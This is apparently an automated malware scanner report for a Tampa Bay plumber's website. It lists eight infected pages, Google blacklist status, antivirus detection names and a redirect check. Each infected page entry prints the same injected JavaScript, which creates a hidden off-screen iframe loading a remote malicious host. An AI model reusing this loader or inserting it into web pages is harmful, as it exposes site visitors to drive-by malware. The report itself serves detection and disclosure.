New scan:

Malware Scanner report for tampabay-plumber.com

Malicious/Suspicious/Total urls checked
8/0/15
8 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "tampabay-plumber.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=tampabay-plumber.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://tampabay-plumber.com/
200 OK
Content-Length: 11996
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/asset.php
200 OK
Content-Length: 9129
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/../hypertextarea/HyperTextArea.js
400 Bad Request
Content-Length: 172
Content-Type: text/html
clean
http://tampabay-plumber.com/test404page.js
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://code.jquery.com/jquery-1.9.1.js
200 OK
Content-Length: 268381
Content-Type: application/x-javascript
clean
http://tampabay-plumber.com/cgi-sys/js/simple-expand.min.js
200 OK
Content-Length: 2782
Content-Type: application/javascript
clean
http://tampabay-plumber.com/asset_control.php
200 OK
Content-Length: 5867
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/staff.php
200 OK
Content-Length: 11677
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/newsletter_user.php
200 OK
Content-Length: 5996
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/newsletter_manager.php
200 OK
Content-Length: 7247
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/hypertextarea/HyperTextArea.js
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://tampabay-plumber.com/hypertextarea/
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://tampabay-plumber.com/contract_create.php
200 OK
Content-Length: 15401
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ

http://tampabay-plumber.com/CalendarControl.js
200 OK
Content-Length: 8879
Content-Type: application/javascript
clean
http://tampabay-plumber.com/contract_search.php
200 OK
Content-Length: 5756
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.couchtarts.com/media.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);

Antivirus reports:

AntiVir
JS/iFrame.JI
Avast
JS:Iframe-UC [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BQZ
K7AntiVirus
Riskware
Emsisoft
Trojan.JS.Iframe.BQZ (B)
Comodo
TrojWare.JS.iFrame.FJ
McAfee-GW-Edition
JS/Iframe.AQ
DrWeb
JS.IFrame.285
Kaspersky
Trojan-Downloader.JS.Iframe.czd
Microsoft
Trojan:JS/Iframe.AQ
Fortinet
JS/IFrame.BBEJ!tr
McAfee
JS/Iframe.AQ
NANO-Antivirus
Trojan.Script.Iframe.uznru
F-Secure
Trojan.JS.Iframe.BQZ
F-Prot
JS/IFrame.RS.gen
AVG
HTML/Framer
Norman
Iframe.NG
GData
Trojan.JS.Iframe.BQZ
Commtouch
JS/IFrame.RS.gen
Agnitum
Trojan.JS.IFrame.AD
ESET-NOD32
JS/Iframe.EX
BitDefender
Trojan.JS.Iframe.BQZ


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: tampabay-plumber.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 26 Dec 2014 12:46:23 GMT
Server: nginx/1.6.2
Content-Type: text/html
Second query (visit from search engine):
GET / HTTP/1.1
Host: tampabay-plumber.com
Referer: http://www.google.com/search?q=tampabay-plumber.com

Result:
The result is similar to the first query. There are no suspicious redirects found.